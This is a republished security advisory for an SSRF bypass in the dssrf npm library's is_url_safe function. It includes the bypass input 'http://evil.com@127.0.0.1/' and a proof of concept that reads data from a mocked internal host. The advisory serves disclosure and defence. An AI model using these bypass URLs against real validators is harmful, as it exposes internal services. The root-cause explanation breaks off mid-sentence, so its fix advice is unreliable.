GHSA-cg4g-m8jx-vjv2: dssrf has an SSRF bypass with remove_at_symbol_in_string
Summary
is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.
Vulnerability
In helpers.ts, is_url_safe does:
u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname; // resolved from the corrupted string
What happens step by step
Input: http://evil.com@127.0.0.1/
1. remove_at_symbol_in_string → http://evil.com127.0.0.1/
2. new URL(...) → hostname = "evil.com127.0.0.1"
3. Not a bare IP, not IPv6 → passes all IP checks
4. is_hostname_resolve_to_internal_ip("evil.com127.0.0.1") → NXDOMAIN → returns false
5. Result: true (safe) — but any HTTP client using the *original* URL connects to 127.0.0.1
Proof of Concept
import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';
// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');
const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL = 'http://10.0.0.1/';
// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(is_url_safe('${PLAIN_URL}') =, await is_url_safe(PLAIN_URL), '← correctly blocked');
console.log(is_url_safe('${BYPASS_URL}') =, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)');
// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
const res = await got(BYPASS_URL, { retry: { limit: 0 } });
console.log(got('${BYPASS_URL}') response:, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
console.log(got('${BYPASS_URL}') blocked:, e.message);
}
Root Cause
@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to rej
Details
Original advisory: https://github.com/advisories/GHSA-cg4g-m8jx-vjv2
Exploitation outlook
EPSS (FIRST.org) estimates each CVE’s probability of exploitation in the next 30 days — here is the CSIRTS.com read on those numbers.
- Low exploitation riskCVE-2026-547220.33% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 25% of all scored CVEs.
Referenced CVEs
| CVE | CSIRTS overview | External |
|---|---|---|
| CVE-2026-54722 | coverage & exploitation status | NVD · CVE.org |
Same CVEs, other sources
How other CERTs, PSIRTs and databases cover the vulnerabilities in this advisory.
More from GitHub Security Advisories
- mediumGHSA-jr6p-8pjj-mfx6: Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators s…2026-07-31
- mediumGHSA-68cj-mvg9-rgm2: Capsule: CapsuleConfiguration NodeMetadata regex fields lack webhook validation, allowing…2026-07-31
- mediumGHSA-ff84-5f28-78qj: re2: Out-of-bounds heap read in `exec`/`test`/`match` via attacker-influenced `lastIndex`…2026-07-31
- mediumGHSA-6hxr-mr5r-9836: re2: Global `String.prototype.match` with an empty-matchable pattern never advances → inf…2026-07-31
- mediumGHSA-x83g-979r-f5fh: Sylius Mollie Plugin has unauthenticated IDOR that leaks order token and customer PII2026-07-31